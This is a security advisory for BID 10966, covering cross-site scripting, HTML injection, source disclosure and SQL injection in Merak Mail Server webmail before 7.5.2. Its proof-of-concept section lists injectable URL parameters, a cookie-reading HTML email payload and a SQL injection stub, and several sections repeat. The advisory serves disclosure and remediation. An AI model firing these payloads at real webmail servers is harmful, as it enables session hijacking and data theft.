Merak Mail Server Webmail Multiple Vulnerabilities
BID:10966
Info
Merak Mail Server Webmail Multiple Vulnerabilities
| Bugtraq ID: | 10966 |
| Class: | Design Error |
| CVE: |
CVE-2004-1719 CVE-2004-1720 CVE-2004-1721 CVE-2004-1722 |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 17 2004 12:00AM |
| Updated: | Jul 12 2009 06:16AM |
| Credit: | Criolabs <[email protected]> disclosed these vulnerabilities. |
| Vulnerable: |
Merak Webmail Server 5.2.7 Merak Mail Server 7.4.5 |
| Not Vulnerable: |
Merak Mail Server 7.5.2 |
Discussion
Merak Mail Server Webmail Multiple Vulnerabilities
The webmail package embedded in Merak Mail Server is reported prone to multiple vulnerabilities.
The vulnerabilities reported are:
- Multiple cross-site scripting vulnerabilities
- An HTML injection vulnerability
- A PHP source code disclosure vulnerability
- An SQL injection vulnerability
These vulnerabilities are reported to exist in versions prior to 7.5.2.
The webmail package embedded in Merak Mail Server is reported prone to multiple vulnerabilities.
The vulnerabilities reported are:
- Multiple cross-site scripting vulnerabilities
- An HTML injection vulnerability
- A PHP source code disclosure vulnerability
- An SQL injection vulnerability
These vulnerabilities are reported to exist in versions prior to 7.5.2.
Exploit / POC
Merak Mail Server Webmail Multiple Vulnerabilities
An exploit is not required. Examples were provided:
Cross-site scripting examples:
/address.html?id=[id]&sort=name&selectsort=&global=&showgroups=&showlite=&category="><script>alert()</script>&cserver=&ext=
/address.html?id=[id]&sort=name&selectsort=&global=&showgroups=&showlite=&category=&cserver=">[XSS]&ext=
/address.html?id=[id]&sort=name&selectsort=&global=&showgroups=&showlite=&category=&cserver=&ext=">[XSS]
/address.html?id=[id]&sort=&selectsort=&global=">[XSS]&showgroups=&showlite=&category=&cserver=&ext=
/address.html?id=[id]&sort=&selectsort=&global=&showgroups=">[XSS]&showlite=&category=&cserver=&ext=
/address.html?id=[id]&sort=&selectsort=&global=&showgroups=&showlite=">[XSS]&category=&cserver=&ext=
/settings.html?autoresponder=1&id=[id]&spage=">[XSS]
/settings.html?autoresponder=">[XSS]&id=[id]&spage=0
/readmail.html?id=[id]&folder=">[XSS]
/attachment.html?attachmentpage_text_error=">[XSS]
/calendar.html?id=1&schedule=admin%40merakdemo.com&cv=n&folder=<script>alert()</script>
/calendar.html?id=1&schedule=koko%40merakdemo.com&sf=addevent&cv=d&ct=">[XSS]
/calendar.html?id=[id]&cv=">[XSS]&ct=[ct]&sf=addevent&ESdhour=8
HTML injection example, email body contents:
<IMG alt="" hspace=0 src="javascript:alert(document.cookie)" align=baseline border=0><IFRAME src="http://www.google.com"></body> </html> </IFRAME>
SQL injection example:
/calendar.html?id=1'&schedule=[SQL]
An exploit is not required. Examples were provided:
Cross-site scripting examples:
/address.html?id=[id]&sort=name&selectsort=&global=&showgroups=&showlite=&category="><script>alert()</script>&cserver=&ext=
/address.html?id=[id]&sort=name&selectsort=&global=&showgroups=&showlite=&category=&cserver=">[XSS]&ext=
/address.html?id=[id]&sort=name&selectsort=&global=&showgroups=&showlite=&category=&cserver=&ext=">[XSS]
/address.html?id=[id]&sort=&selectsort=&global=">[XSS]&showgroups=&showlite=&category=&cserver=&ext=
/address.html?id=[id]&sort=&selectsort=&global=&showgroups=">[XSS]&showlite=&category=&cserver=&ext=
/address.html?id=[id]&sort=&selectsort=&global=&showgroups=&showlite=">[XSS]&category=&cserver=&ext=
/settings.html?autoresponder=1&id=[id]&spage=">[XSS]
/settings.html?autoresponder=">[XSS]&id=[id]&spage=0
/readmail.html?id=[id]&folder=">[XSS]
/attachment.html?attachmentpage_text_error=">[XSS]
/calendar.html?id=1&schedule=admin%40merakdemo.com&cv=n&folder=<script>alert()</script>
/calendar.html?id=1&schedule=koko%40merakdemo.com&sf=addevent&cv=d&ct=">[XSS]
/calendar.html?id=[id]&cv=">[XSS]&ct=[ct]&sf=addevent&ESdhour=8
HTML injection example, email body contents:
<IMG alt="" hspace=0 src="javascript:alert(document.cookie)" align=baseline border=0><IFRAME src="http://www.google.com"></body> </html> </IFRAME>
SQL injection example:
/calendar.html?id=1'&schedule=[SQL]
Solution / Fix
Merak Mail Server Webmail Multiple Vulnerabilities
Solution:
The vendor has released version 7.5.2 of Merak Mail Server. This includes an updated version of Merak Webmail Server that reportedly fixes these vulnerabilities.
Merak Mail Server 7.4.5
Solution:
The vendor has released version 7.5.2 of Merak Mail Server. This includes an updated version of Merak Webmail Server that reportedly fixes these vulnerabilities.
Merak Mail Server 7.4.5
-
Merak Mail Server version 7.5.2
http://www.merakmailserver.com/Download/clickthrough.asp?file=merakhtt pzip
References
Merak Mail Server Webmail Multiple Vulnerabilities
References:
References:
- Webmail Server Software Home Page (Merak)
- Vulnerabilities in Merak Webmail Server. (Criolabs